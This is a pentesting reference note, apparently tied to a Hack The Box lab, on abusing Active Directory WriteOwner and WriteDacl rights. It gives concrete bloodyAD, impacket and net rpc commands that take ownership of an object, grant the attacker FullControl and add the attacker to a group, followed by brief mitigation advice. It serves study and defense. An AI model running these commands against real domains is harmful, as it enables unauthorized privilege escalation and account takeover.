🧠 Active Directory - Ownership Abuse (WriteOwner & WriteDacl)

What is it?

• Concept: WriteOwner lets a principal change an AD object’s owner to themselves; WriteDacl lets a principal write new entries directly onto an object’s DACL. Neither one is the powerful right ([[Active Directory - ACL Abuse (GenericAll & ForceChangePassword)|GenericAll]], GenericWrite) itself — but each is a reliable path to granting yourself one, since object owners implicitly get DACL-editing rights, and DACL-editing rights let you write literally any ACE you want, including GenericAll for yourself.
• Impact: WriteOwner or WriteDacl on an object is functionally equivalent to already holding GenericAll on it — it just takes one or two extra LDAP writes to make that explicit.

How it works

1. Via WriteOwner: take ownership of the target object, reassigning it to a principal the attacker controls. Object owners implicitly have rights to modify that object’s own DACL, regardless of what the DACL currently says.
2. Via WriteDacl (either held directly, or unlocked by step 1): write a new ACE onto the target’s DACL granting the attacker’s principal GenericAll (or any narrower right that’s actually needed).
3. From there, the target is controlled exactly as if the attacker had held GenericAll on it from the start — reset a password, add themselves to a group, or (if the target is a group) add themselves as a member.

Exploitation

Prerequisites

• WriteOwner or WriteDacl on the target object (user, group, or computer)

Attack Vectors

# 1a. WriteOwner path — take ownership of the target (bloodyAD)
bloodyAD --host '<dc_ip>' -d '<domain>' -u '<user>' -p '<pass>' set owner '<target>' '<user>'

# 1b. Impacket equivalent, also usable directly if WriteDacl is already held
impacket-owneredit -action write -new-owner '<user>' -target '<target>' '<domain>'/'<user>':'<pass>'

# 2. WriteDacl — self-grant FullControl now that ownership (or WriteDacl) applies
impacket-dacledit -action write -rights 'FullControl' -principal '<user>' -target '<target>' '<domain>'/'<user>':'<pass>'

# 3. If the target is a group, add yourself as a member now that control is confirmed
net rpc group addmem '<target_group>' '<user>' -U '<domain>'/'<user>'%'<pass>' -S '<dc_ip>'

Notes

• impacket-dacledit backs up the original DACL to a timestamped .bak file before writing — worth keeping as both a restore point and evidence of exactly what was changed.
• This chain is frequently the first hop in a longer path rather than the final objective — taking control of a group via ownership abuse is often only valuable because that group itself holds GenericWrite/GenericAll somewhere further along, as surfaced by BloodHound.

Mitigation

• Fix: Audit WriteOwner/WriteDacl grants with the same seriousness as GenericAll — they’re one write away from being identical in practice. Least-privilege delegation should never hand out either right unless ownership transfer or DACL editing is the actual, specific operational need.

Related Usage

File	Created
HTB - Certified	July 23, 2026

---

References:

• Abusing ACLs - HackTricks